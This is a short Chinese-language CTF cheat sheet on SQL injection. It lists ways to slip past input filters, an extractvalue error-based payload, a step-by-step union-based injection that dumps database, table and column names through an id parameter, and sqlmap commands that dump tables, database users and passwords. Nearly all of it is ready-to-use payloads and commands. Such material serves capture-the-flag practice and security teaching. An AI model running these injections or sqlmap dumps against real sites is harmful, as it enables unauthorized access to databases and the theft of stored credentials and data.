【CTFWeb】SQL注入通杀大招

过滤解决方案

  1. 过滤空格, 可以使用括号() 或者注释 绕过
  2. 过滤and, 可以使用or替代
  3. 过滤union, 可以用盲注替代联合注入
  4. 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替
  5. 盲注时,表名库名等名称请用16进制转换,前加 0x 后再进行发送数据
  6. 字符型注入使用单引号闭合,使用 --+ 闭合后单引号
  7. 报错注入:利用extractvalue来xpath报错。1 and (select extractvalue(1, concat(0x7e, (select database()))))

手动注入过程
寻找注入点
?id=1 and 1返回正常
?id=1 and 0返回空
就证明存在注入点

判断字段数量
?id=1 order by x

然后寻找注入点
?id=-1 union select 1,2,3

返回数据库名
?id=-1 union select 1,(database()),3

返回所有表名
?id=-1 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema="数据库名"),3

获取flag表中的所有字段
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema="数据库名" and table_name="flag表名"),3

select group_concat(column_name) from information_schema.columns where table_name="flag表名"

接下来查询flag表的flag对应字段,获取flag
?id=-1 union select 1,(select flag字段 from flag表名),3

sqlmap注入
关于sqlmap的基础命令,将url修改为需要注入的url即可

查询sqlmap是否存在注入命令
sqlmap.py -u url/?id=1
查询当前用户下的所有数据库
sqlmap.py -u url/?id=1 --dbs
获取数据库的表名
sqlmap.py -u url/?id=1 -D (数据库名) --tables
获取表中的字段名
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns
获取字段的内容
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump
查询数据库的所有用户
sqlmap.py -u url/?id=1 --users
查询数据库的所有密码
sqlmap.py -u url/?id=1 --passwords
查询数据库名称
sqlmap.py -u url/?id=1 --current-db

我来吐槽

*

*